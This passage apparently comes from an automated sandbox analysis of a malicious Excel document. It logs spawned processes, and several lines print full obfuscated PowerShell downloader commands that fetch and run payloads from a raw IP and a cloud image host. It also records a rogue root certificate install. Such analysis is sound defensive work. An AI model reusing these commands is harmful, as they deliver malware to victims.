zdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899B022D push eax; iretd		7_2_000007FE899B0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899B00BD pushad ; iretd		7_2_000007FE899B00C1

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.dll			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
